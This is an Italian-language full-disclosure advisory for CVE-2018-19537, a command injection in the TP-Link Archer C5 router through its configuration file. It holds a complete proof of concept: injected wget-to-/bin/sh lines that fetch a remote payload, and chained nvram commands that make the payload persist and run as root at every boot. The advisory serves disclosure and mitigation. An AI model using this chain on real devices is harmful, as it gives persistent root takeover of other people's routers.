CVE-2018-19537
Una vulnerabilità di remote code execution (RCE) autenticata esiste in tutte le versioni firmware pubblicate per il router TP-Link Archer C5. Caricando un file di configurazione creato con intenti dannosi, un attaccante può iniettare comandi del sistema operativo eseguiti con privilegi di root.
Il router Archer C5 consente agli utenti amministrativi di salvare i parametri di configurazione correnti in un file e di ripristinarli da un file. Questi parametri sembrano essere adeguatamente sanificati quando un utente prova a impostarli tramite l'interfaccia web. Tuttavia, non sono adeguatamente sanificati quando vengono impostati da un file di configurazione. In particolare, abbiamo iniettato comandi del sistema operativo tramite il parametro wan_dyn_hostname 1 <name> all'interno del file di configurazione caricato. Anche altri parametri potrebbero essere vulnerabili.
Un file di configurazione valido può essere scaricato dal menu “Backup & Restore” nell'interfaccia web del router. La seguente richiesta HTTP scaricherà un backup della configurazione corrente del router:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
La risposta contiene il file “config.bin”, che è il file di configurazione che modificheremo.
I file di configurazione sono offuscati tramite crittografia DES con una chiave hard-coded. Questa chiave hard-coded sembra essere riutilizzata su diversi prodotti TP-Link. Crediti a Matteo Croce per aver scoperto il valore di questa chiave hard-coded. http://teknoraver.net/software/hacks/tplink/
Due semplici script Python sono allegati per crittografare e decrittografare i file di configurazione - rispettivamente “binify.py” e “unbinify.py”. Un file di configurazione decrittografato avrà parametri come questi:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
Possiamo modificare questo file di configurazione decrittografato aggiungendo un comando BusyBox dannoso al parametro “wan_dyn_hostname”, in questo modo:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
Successivamente crittografiamo il nuovo file di configurazione dannoso e lo carichiamo tramite l'interfaccia web. Il router si riavvierà automaticamente. All'inizio del processo di avvio, quando il programma httpd viene eseguito, il nostro comando BusyBox dannoso viene eseguito. Lo pseudocodice della parte rilevante di httpd è qualcosa del genere:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// Continue setting up network interfaces and connectivity
Ci sono diverse limitazioni a questo exploit, anche oltre la limitazione di dover usare BusyBox. Il server SSH Dropbear e telnetd non sembrano funzionare sulla rete wireless, e il nome host è limitato dal firmware a 63 caratteri. Superare questo limite sovrascrive altre impostazioni e interrompe l'accesso a Internet. Inoltre, httpd deve tornare dalla chiamata system() prima di avere effettivamente connettività di rete (poiché la chiamata system() che stiamo sfruttando è quella che richiede il nostro indirizzo IP WAN), e il filesystem di root è in sola lettura. L'esempio di comando dannoso sopra non funzionerebbe; httpd fallirebbe nel wget dell'URL poiché non ha ancora accesso a Internet, tornerebbe dalla chiamata system() e poi continuerebbe a funzionare normalmente.
Quindi a questo punto possiamo eseguire un comando BusyBox di 63 caratteri, su un filesystem in sola lettura, senza un modo semplice per far aspettare il programma fino al termine della configurazione della connettività di rete prima di eseguire il nostro comando. Non possiamo semplicemente dirgli di dormire per qualche minuto e poi eseguire, perché la chiamata system() in cui iniettiamo è bloccante.
Una cosa che possiamo fare, tuttavia, è avviare un'altra istanza di httpd a questo punto dell'esecuzione. Questa istanza di httpd eseguirà anch'essa questa chiamata system(), il che ci lascia in un ciclo che genererà continuamente più istanze di httpd, ma permetterà ai processi httpd genitori di continuare l'esecuzione e infine ripristinare la connettività di rete. Per evitare di esaurire la memoria, terminiamo questo ciclo verificando se il nostro exploit è stato scaricato.
Lavorando entro le limitazioni sopra descritte, abbiamo ideato il seguente script shell, che prende un file da Internet con wget e lo invia direttamente a /bin/sh.
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
Oppure, su una riga, minimizzato:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
Questo script è enorme, 89 caratteri, quindi dobbiamo caricarlo in blocchi. Ma come? Caricare un comando causa un riavvio, e un riavvio aggiorna lo stato del router. Ci siamo resi conto che potevamo creare una variabile NVRAM personalizzata e farvi riferimento in comandi successivi per costruire un comando da eseguire alla fine.
Abbiamo usato la vulnerabilità per iniettare i seguenti comandi e costruire un exploit:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
E infine, attivare l'exploit impostando il nome host a:
; udhcpc; nvram get a | /bin/sh ;
Questo script memorizzato nella NVRAM del router verrà eseguito a ogni avvio, e il router apparirà funzionare normalmente. Il risultato finale è che il router si collegherà a Internet, scaricherà un file e lo eseguirà come root ogni volta che si avvia.
Come mostrato, questa vulnerabilità può essere sfruttata per far sì che il router si connetta a Internet, prenda un payload e lo esegua con privilegi di root. Pertanto c'è un alto impatto sulla riservatezza, integrità e disponibilità del dispositivo.
Il processo di iniezione di un comando tramite il parametro wan_dyn_hostname del file di configurazione è semplice. Superare le limitazioni di questo comando per eseguire un payload arbitrario senza interrompere la normale funzionalità del router è moderatamente complesso.
Questo attacco è moderatamente visibile, poiché richiede almeno un riavvio del dispositivo. Il nostro POC richiede 5 riavvii successivi, ma persiste fino a un ripristino alle impostazioni di fabbrica del dispositivo.
Questa vulnerabilità può essere sfruttata da chiunque abbia accesso all'account amministratore web. Pertanto, con la configurazione predefinita del router, può essere sfruttata tramite connettività LAN/WLAN con le credenziali predefinite di “admin:admin”. Questa vulnerabilità può essere sfruttata in remoto via Internet, se la gestione remota è abilitata. La gestione remota è disabilitata per impostazione predefinita.
Questa vulnerabilità è relativamente semplice, portandoci a credere che sia probabilmente già stata trovata e sfruttata in precedenza. La difesa contro questo attacco è anch'essa incredibilmente semplice: non usare la password amministrativa predefinita. Una password forte per l'account amministrativo web impedirà questo attacco. Poiché è così facile da sfruttare, e anche così facile da mitigare, crediamo che la divulgazione completa sia nell'interesse pubblico.
Per il nostro PoC, abbiamo iniettato tramite il parametro “wan_dyn_hostname”. Tuttavia, il file di configurazione contiene in totale 1190 parametri, molti dei quali potrebbero essere iniettabili.